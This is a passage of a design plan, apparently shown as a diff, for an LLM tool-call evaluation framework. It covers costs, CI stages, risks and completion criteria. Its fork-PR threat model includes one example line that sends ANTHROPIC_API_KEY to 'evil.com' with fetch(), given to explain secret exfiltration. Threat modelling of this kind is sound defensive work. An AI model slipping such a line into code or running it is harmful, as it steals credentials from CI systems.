| Scenario | Tokens | Approx cost (Haiku 4.5 @ $1/M input, $5/M output) |
|
|
376
|
+
|---|---|---|
|
|
377
|
+
| Single eval (50 input + 30 output tokens incl. tool descriptions) | 80 | $0.0002 |
|
|
378
|
+
| 50-prompt suite | 4,000 | $0.01 |
|
|
379
|
+
| Nightly run @ 50 prompts × 30 days | 120,000 | $0.30 / month |
|
|
380
|
+
| Per-PR run @ 50 prompts × 100 PRs/month | 400,000 | $1 / month |
|
|
381
|
+
|
|
382
|
+
Per-PR is cheap enough to consider. Default cadence: **nightly** to start; can promote to per-PR once we trust the matcher fuzz heuristics.
|
|
383
|
+
|
|
384
|
+
## CI integration (revised — fork PR + secret leakage handled)
|
|
385
|
+
|
|
386
|
+
| Stage | When | What runs | Where the secret lives |
|
|
387
|
+
|---|---|---|---|
|
|
388
|
+
| Vitest unit | Every PR | Plumbing tests + framework matcher unit tests (no LLM) + a tiny canary eval (3 prompts, ~$0.001/PR) gated on `ANTHROPIC_API_KEY`. If absent, skip cleanly with a logged warning + green CI. | Repo secrets (NOT exposed to fork PRs). |
|
|
389
|
+
| **Fork PR maintainer trigger** | Maintainer comments `/eval` on a fork PR | A `pull_request_target`-triggered workflow with explicit environment protection runs the full suite with the secret. Security: the workflow MUST checkout the PR's HEAD, but only runs the eval task — no arbitrary scripts from the PR are executed. | Repo secrets, scoped to the `eval` environment. |
|
|
390
|
+
| Nightly | Cron at 03:00 UTC | Full eval suites for every consumer (workspace, boring-macro, full-app). Reports posted as a GitHub Actions summary. | Repo secrets. |
|
|
391
|
+
| On-demand | `pnpm agent:eval suite.yaml` | Local + manual debugging. Defaults to dry-run if `ANTHROPIC_API_KEY` is missing (prints what would have been sent). | User's local env / vault. |
|
|
392
|
+
|
|
393
|
+
**Fork PR security — honest threat model** (clarified per v2 review):
|
|
394
|
+
|
|
395
|
+
Without `pull_request_target`: fork PRs can change tool descriptions and the maintainer wouldn't see eval failures pre-merge.
|
|
396
|
+
|
|
397
|
+
With naive `pull_request_target` and no gate: a malicious fork could swap eval scripts to exfiltrate the API key during the workflow run.
|
|
398
|
+
|
|
399
|
+
The mitigation is a **maintainer-trust gate**, NOT a sandbox:
|
|
400
|
+
|
|
401
|
+
- A maintainer comments `/eval` on the fork PR — GitHub Actions checks the comment author's identity against repo permissions before running the workflow.
|
|
402
|
+
- The workflow runs in a protected `eval` environment that requires explicit manual approval before exposing the secret.
|
|
403
|
+
- The framework's runner script (loaded from `main`) drives the suite — but it imports the PR's tool catalog and app factory (e.g., `createWorkspaceAgentApp`, the host's `extraTools`, etc.) to run the evals against. **That PR-controlled code DOES execute in a Node process where `ANTHROPIC_API_KEY` is present.**
|
|
404
|
+
- A malicious fork PR could put `fetch('evil.com', {body: process.env.ANTHROPIC_API_KEY})` in a tool file, and `/eval` would run it.
|
|
405
|
+
|
|
406
|
+
The guarantee this provides: the maintainer must visually review the PR's diff before typing `/eval`. There is no automated firewall — the maintainer is the firewall. This is the standard OSS pattern for cost-bearing or capability-bearing secrets in CI (the same shape used by most projects that run benchmarks against fork PRs), but maintainers must understand they are authorizing untrusted code execution in an environment that holds the key.
|
|
407
|
+
|
|
408
|
+
If we want a stronger guarantee, the next step is moving the eval runner to a separate, secret-bearing service that ONLY accepts pre-built fixture artifacts (no PR-defined code paths). That's significantly more infrastructure and out of scope for v1.
|
|
409
|
+
|
|
410
|
+
## Cadence summary
|
|
411
|
+
|
|
412
|
+
- **Per PR (cheap)**: matcher unit tests + 3-prompt canary. ~$0.001 / PR.
|
|
413
|
+
- **Nightly (full)**: every consumer's suite. ~$0.30 / month at 50 prompts / suite.
|
|
414
|
+
- **Fork PR (manual)**: maintainer comments `/eval`, full suite runs once.
|
|
415
|
+
|
|
416
|
+
A failing nightly doesn't block merging; it surfaces a regression for triage. A failing per-PR canary blocks. A failing fork PR `/eval` blocks merging that fork PR.
|
|
417
|
+
|
|
418
|
+
## Migration / authoring path
|
|
419
|
+
|
|
420
|
+
1. Land the framework in `@boring/agent/eval` with one fixture file (`packages/agent/eval/standard-tools.yaml`) covering bash / read / write / edit / find. Validates the framework on agent's own catalog.
|
|
421
|
+
2. Child apps that compose workspace UI can add app-local eval suites (for example under `apps/*/eval/`) and wire their own app server as the `runEvalSuite({ app, fixturesPath })` target. Workspace itself does not publish a parallel eval subpath; it owns structural UI-tool contracts and app-shell helpers.
|
|
422
|
+
3. Documentation pass — agent README + app docs reference suite locations and the package `eval` script.
|
|
423
|
+
4. CI — add the nightly workflow + the per-PR canary step + the fork-PR `/eval` trigger.
|
|
424
|
+
|
|
425
|
+
## Out of scope (v1)
|
|
426
|
+
|
|
427
|
+
- **Multi-turn evals.** The framework asserts within a single LLM response (which CAN contain multiple parallel tool calls — that's covered). "Did the agent recover after a tool error in turn 1 and try a different approach in turn 2?" is a separate layer needing state replay. Track for v2.
|
|
428
|
+
- **Cross-model comparison runner.** A natural ask but adds an abstraction layer the harness doesn't currently need. The per-suite `model` knob already lets consumers experiment manually.
|
|
429
|
+
- **Streaming-aware evals.** Tool calls are captured atomically once the response stream completes. "Did the agent stream the right partial chunks in the right order?" is a separate ergonomic concern — defer.
|
|
430
|
+
- **Cost budget guardrails in CI.** A failsafe that aborts the suite if estimated tokens exceed a threshold. Add as a v1.1 ergonomic if usage spikes start being a concern; not blocking v1 launch.
|
|
431
|
+
- **Mocked LLM mode.** Some consumers may want to exercise the eval framework without an API key (deterministic CI, replay). Expensive to implement well (the mock has to faithfully emit Anthropic-shaped tool-use blocks); defer until requested.
|
|
432
|
+
- **Context window awareness.** A consumer could mock a `get_ui_state` response so small that the LLM's behavior in production (with a much larger state) wouldn't match. Document the recommendation in the README ("write fixtures with realistic state shapes") but don't enforce in framework — the consumer owns their app's runtime state, the framework can't.
|
|
433
|
+
|
|
434
|
+
## Risks (revised)
|
|
435
|
+
|
|
436
|
+
1. **Real-LLM dependency.** Eval suite needs `ANTHROPIC_API_KEY`. Mitigation: framework defaults to dry-run with a printed warning when no key is found. CI matrix has a fork-PR step that exercises this path. Per-PR canary is gated on the secret being present.
|
|
437
|
+
|
|
438
|
+
2. **Model deprecation.** Anthropic deprecates models on rolling cadence. Mitigation: per-suite model pinning (in YAML) means consumers upgrade at their own pace. A bumped model in the agent package's `eval.config.json` is the DEFAULT, not a forced migration.
|
|
439
|
+
|
|
440
|
+
3. **Fixture rot.** Tool descriptions change → fixtures may need updating. Mitigation: matchers are partial-match by default; only contract changes (tool renamed, kind removed) require fixture edits, and those are big enough to deserve a PR review pass anyway.
|
|
441
|
+
|
|
442
|
+
4. **Cost spike from a runaway loop.** A bug where retries fire on every transient failure could 100x spend. Mitigation: explicit per-call `timeoutMs` (default 30s), explicit `retries` knob (default 0), explicit suite-level `suiteTimeoutMs` (default 5min), hard concurrency cap (default 4). No automatic retries on top of the explicit `retries`.
|
|
443
|
+
|
|
444
|
+
5. **Fork PR secret exfiltration.** Mitigation in CI integration section above — `pull_request_target` + `/eval` comment gate + maintainer approval + framework runner from `main` not from PR.
|
|
445
|
+
|
|
446
|
+
## Open questions (resolved + remaining)
|
|
447
|
+
|
|
448
|
+
| Q | Resolution |
|
|
449
|
+
|---|------------|
|
|
450
|
+
| ~~Should fixtures be JSONL or YAML?~~ | YAML (per review). |
|
|
451
|
+
| ~~Should the matcher support negative assertions?~~ | Yes — `expectNoToolCall: true`. |
|
|
452
|
+
| ~~Should `actual` be a single tool call or an array?~~ | Array (per review). Anthropic's parallel tool-call protocol requires it. |
|
|
453
|
+
| ~~Should `evalAgentPrompt` capture the full session log?~~ | Partially — `actual: ToolCall[]` + `text: string` + `usage`. Full per-message transcript with tool-result stages is v2 (multi-turn evals). |
|
|
454
|
+
| Should we ship a small "playground" CLI for manual prompt iteration? | Defer. Adjacent to evals but pulls UX in a different direction. |
|
|
455
|
+
| Where do per-host fixture files live? | Decentralized per-package: `packages/<consumer>/eval/*.yaml`. Each consumer asserts against the catalog they actually deploy. |
|
|
456
|
+
|
|
457
|
+
## Done definition
|
|
458
|
+
|
|
459
|
+
- [ ] `@boring/agent/testing` exports `evalAgentPrompt`, `runEvalSuite`, `EvalAny`, `EvalRegex`, plus the result + options + matcher types.
|
|
460
|
+
- [ ] One fixture file (`packages/agent/eval/standard-tools.yaml`) with ≥ 5 prompts covering bash / read / write / edit / find. Suite runs against `createAgentApp` and passes against the pinned model on a clean run.
|
|
461
|
+
- [ ] CLI: `pnpm --filter @boring/agent eval [path]` runs a suite and exits non-zero on any failure (or on suite-level timeout).
|
|
462
|
+
- [ ] Vitest unit tests for the matcher (partial-match, EvalAny, EvalRegex, strict mode, missing key, type mismatch, parallel-call existence check, expectFirst ordering, expectNoToolCall negative). NO real LLM in unit tests — the matcher is exercised against fixed `ToolCall[]` inputs.
|
|
463
|
+
- [ ] One canary vitest suite using a real LLM, gated on `ANTHROPIC_API_KEY` being present (skip-with-warning otherwise), runs ≤ 3 prompts to validate the framework end-to-end without burning tokens on every PR.
|
|
464
|
+
- [ ] Documentation in `packages/agent/README.md` + a one-paragraph reference in `packages/workspace/docs/plans/archive/WORKSPACE_V2_PLAN.md`.
|
|
465
|
+
- [ ] CI workflow files: nightly cron + per-PR canary + fork-PR `/eval` trigger with environment protection.
|
|
466
|
+
- [ ] No-API-key path: framework prints a clear "skipping evals: ANTHROPIC_API_KEY not set" warning and exits 0. Verified by a CI matrix entry that runs the canary without the secret set.
|